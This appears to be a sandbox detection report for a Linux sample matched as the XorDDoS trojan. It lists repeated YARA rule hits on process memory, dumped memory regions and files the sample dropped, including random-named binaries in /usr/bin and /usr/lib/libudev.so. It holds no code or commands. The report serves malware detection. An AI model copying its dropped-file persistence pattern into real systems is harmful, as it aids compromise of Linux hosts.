Source: Process Memory Space: Di1p3oLnDb.elf PID: 6348, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6351, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6353, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6357, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6365, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6368, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6370, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6373, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6375, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6384, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6387, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6389, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6393, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6395, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6401, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6404, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6407, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6409, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6412, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6418, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6421, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6423, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6426, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6429, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6435, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6438, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6440, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6443, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6446, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6455, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6458, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6460, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6463, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/kihierzlde, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/kihierzlde, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/kihierzlde, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/xmnjiktnas, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/xmnjiktnas, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/xmnjiktnas, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/uvilsmwwhk, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/uvilsmwwhk, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/uvilsmwwhk, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/lib/libudev.so, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/lib/libudev.so, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/lib/libudev.so, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/koygrrjkon, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/koygrrjkon, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/koygrrjkon, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/hszflciagy, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/hszflciagy, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/hszflciagy, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/qhknhggmjf, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/qhknhggmjf, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/qhknhggmjf, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/ilrbozcctp, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/ilrbozcctp, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/ilrbozcctp, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/cbsypxwvhg, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/cbsypxwvhg, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/dvisuvnfsi, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/dvisuvnfsi, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/dvisuvnfsi, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/dwfhzeeizt, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/dwfhzeeizt, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/dwfhzeeizt, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/gwqnqvffue, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/gwqnqvffue, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/gwqnqvffue, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/ltaanxttrs, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/ltaanxttrs, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/ltaanxttrs, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/bvyxmkkmbp, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/thgxtutpuw, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/bvyxmkkmbp, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/bvyxmkkmbp, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/thgxtutpuw, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/thgxtutpuw, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown
Source: /usr/bin/zzdslzxygn, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/zzdslzxygn, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_2aef46a6 Author: unknown
Source: /usr/bin/zzdslzxygn, type: DROPPED	Matched rule: Linux_Trojan_Xorddos_884cab60 Author: unknown

Source: Di1p3oLnDb.elf, type: SAMPLE	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: Di1p3oLnDb.elf, type: SAMPLE	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Di1p3oLnDb.elf, type: SAMPLE	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6465.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6465.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6465.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6311.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6311.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6311.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6418.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6418.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6418.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6499.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6499.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6499.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6429.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6429.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6429.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6550.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6550.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6550.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6458.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6458.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6458.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6278.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6278.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6278.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6373.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6373.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6373.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6262.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6262.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6262.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6426.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6426.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6426.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6348.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6348.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6348.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6518.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6518.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6518.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6331.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6331.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6331.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6282.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6282.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6282.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6294.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6294.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6294.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6336.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6336.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6336.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6319.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
